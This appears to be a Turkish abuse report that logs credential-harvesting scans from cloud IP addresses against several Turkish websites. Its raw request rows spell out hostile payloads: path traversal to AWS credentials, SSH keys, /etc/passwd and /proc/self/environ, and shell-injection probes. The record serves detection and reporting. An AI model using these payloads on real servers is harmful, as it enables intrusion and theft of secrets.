Prefix: 34.24.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
23/Aug/2026:16:59:31 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/.aws/credentials
23/Aug/2026:16:59:32 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/firebase-service-account.json
23/Aug/2026:16:59:32 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
23/Aug/2026:16:59:32 +0300cms.profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service-account.json
23/Aug/2026:16:59:33 +0300cms.profesyonelwebserver.net.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.187.69.69 — 14 saldırı imzalı istek / 209 toplam istek

Prefix: 34.187.0.0/17 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
28/Aug/2026:10:02:56 +0300elixtria.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
28/Aug/2026:10:02:59 +0300elixtria.comGET404OCI_SECRET/@fs/home/ubuntu/.oci/config?raw??
28/Aug/2026:10:03:01 +0300elixtria.comGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
28/Aug/2026:10:04:23 +0300elixtria.comGET404PROC_ENVIRON/static../proc/self/environ
28/Aug/2026:10:04:29 +0300elixtria.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
28/Aug/2026:10:04:37 +0300elixtria.comGET404OCI_SECRET/@fs/root/.oci/config?raw??
28/Aug/2026:10:04:52 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
28/Aug/2026:10:04:52 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
28/Aug/2026:10:05:44 +0300elixtria.comGET404PROC_ENVIRON/proc/self/environ
34.171.63.25 — 14 saldırı imzalı istek / 209 toplam istek

Prefix: 34.170.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Aug/2026:16:06:35 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
13/Aug/2026:16:06:36 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_rsa
13/Aug/2026:16:06:37 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php.old
13/Aug/2026:16:06:38 +0300ergarnakliyat.comGET403SSH_PRIVATE_KEY/.ssh/id_dsa
34.12.136.201 — 14 saldırı imzalı istek / 24 toplam istek

Prefix: 34.12.0.0/16 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Aug/2026:18:17:23 +0300ascento.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
07/Aug/2026:18:17:23 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
34.142.231.206 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.142.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
04/Sep/2026:11:46:42 +0300ascento.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
34.125.233.234 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
30/Aug/2026:15:53:00 +0300cadiroglubelge.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
34.58.214.232 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.56.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
12/Aug/2026:12:42:36 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
35.234.33.66 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 35.234.0.0/18 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
08/Aug/2026:03:40:37 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
34.169.171.101 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.168.0.0/15 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
29/Aug/2026:13:31:14 +0300picassoshop.com.trGET200AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
34.125.21.177 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
04/Sep/2026:10:20:23 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
34.143.204.142 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.143.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
13/Aug/2026:03:12:16 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
34.50.189.51 — 14 saldırı imzalı istek / 23 toplam istek

Prefix: 34.50.160.0/19 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
29/Aug/2026:10:41:46 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
34.38.12.173 — 14 saldırı imzalı istek / 22 toplam istek

Prefix: 34.38.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/var/www/html/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
04/Sep/2026:12:27:07 +0300ergarnakliyat.comGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
34.173.109.216 — 13 saldırı imzalı istek / 269 toplam istek

Prefix: 34.172.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:16:34:39 +0300elixtria.comGET403OCI_SECRET/.oci/sessions/DEFAULT/token
35.200.131.170 — 13 saldırı imzalı istek / 71 toplam istek

Prefix: 35.200.128.0/17 · Region: asia-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:21:29:40 +0300denizciden.com.trGET404ENV_FILE/_environment
04/Sep/2026:21:29:40 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
04/Sep/2026:21:29:41 +0300denizciden.com.trGET404SERVICE_ACCOUNT/sa.json
04/Sep/2026:21:29:41 +0300denizciden.com.trGET404SERVICE_ACCOUNT/gcp-sa.json
04/Sep/2026:21:29:42 +0300denizciden.com.trGET404SERVICE_ACCOUNT/google-key.json
04/Sep/2026:21:29:42 +0300denizciden.com.trGET404SERVICE_ACCOUNT/firebase-key.json
02/Sep/2026:08:04:35 +0300elixtria.comGET404ENV_FILE/_environment
02/Sep/2026:08:04:35 +0300elixtria.comGET404ENV_FILE/webroot/index.php/_environment
02/Sep/2026:08:04:36 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
02/Sep/2026:08:04:36 +0300elixtria.comGET404SERVICE_ACCOUNT/gcp-sa.json
02/Sep/2026:08:04:37 +0300elixtria.comGET404SERVICE_ACCOUNT/google-key.json
02/Sep/2026:08:04:37 +0300elixtria.comGET404SERVICE_ACCOUNT/firebase-key.json
34.16.195.6 — 13 saldırı imzalı istek / 61 toplam istek

Prefix: 34.16.128.0/17 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:11:50:10 +0300denizciden.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
10/Aug/2026:11:50:11 +0300denizciden.com.trGET404CONFIG_SECRET/@fs/root/.openai/config.json?raw??
10/Aug/2026:11:50:15 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
10/Aug/2026:11:50:26 +0300denizciden.com.trGET404PROC_ENVIRON/proc/self/environ
10/Aug/2026:11:50:29 +0300denizciden.com.trGET404SERVICE_ACCOUNT/serviceAccount.json
10/Aug/2026:11:50:35 +0300denizciden.com.trGET200CMDI/?command=%3B+echo+GSCAN_CMDI+%23
10/Aug/2026:11:50:39 +0300denizciden.com.trGET200CMDI/?host=%60echo+GSCAN_CMDI%60
10/Aug/2026:11:50:44 +0300denizciden.com.trGET200CMDI/?ip=%3B+echo+GSCAN_CMDI+%23
10/Aug/2026:11:50:50 +0300denizciden.com.trGET200CMDI/?ip=%60echo+GSCAN_CMDI%60
10/Aug/2026:11:50:56 +0300denizciden.com.trGET404CMDI/admin/config?cmd=%3B+echo+GSCAN_CMDI+%23
10/Aug/2026:11:50:56 +0300denizciden.com.trGET301CMDI/admin?cmd=%3B+echo+GSCAN_CMDI+%23
10/Aug/2026:11:50:57 +0300denizciden.com.trGET403CMDI/admin/?cmd=%3B+echo+GSCAN_CMDI+%23
35.185.165.144 — 13 saldırı imzalı istek / 23 toplam istek

Prefix: 35.185.160.0/20 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.backup?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/node/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/admin/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/app/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS,BACKUP_DISCOVERY/@fs/root/.aws/credentials.bak?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/debian/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/home/www-data/.aws/credentials?raw??
08/Sep/2026:20:39:28 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/@fs/var/www/.aws/credentials?raw??
35.204.247.41 — 13 saldırı imzalı istek / 16 toplam istek

Prefix: 35.204.0.0/16 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PASSWD_FILE/@fs/etc/passwd?import&raw??
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/static../.aws/credentials
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PASSWD_FILE/static../etc/passwd
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PASSWD_FILE/media../etc/passwd
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PASSWD_FILE/files../etc/passwd
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404PROC_ENVIRON/proc/self/environ
24/Aug/2026:07:34:15 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/aws/credentials
34.87.94.53 — 13 saldırı imzalı istek / 16 toplam istek

Prefix: 34.87.0.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PASSWD_FILE/media../etc/passwd
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
23/Aug/2026:05:23:49 +0300teigmo.com.trGET404AWS_CREDENTIALS/.aws/credentials
23/Aug/2026:05:23:49 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?raw??
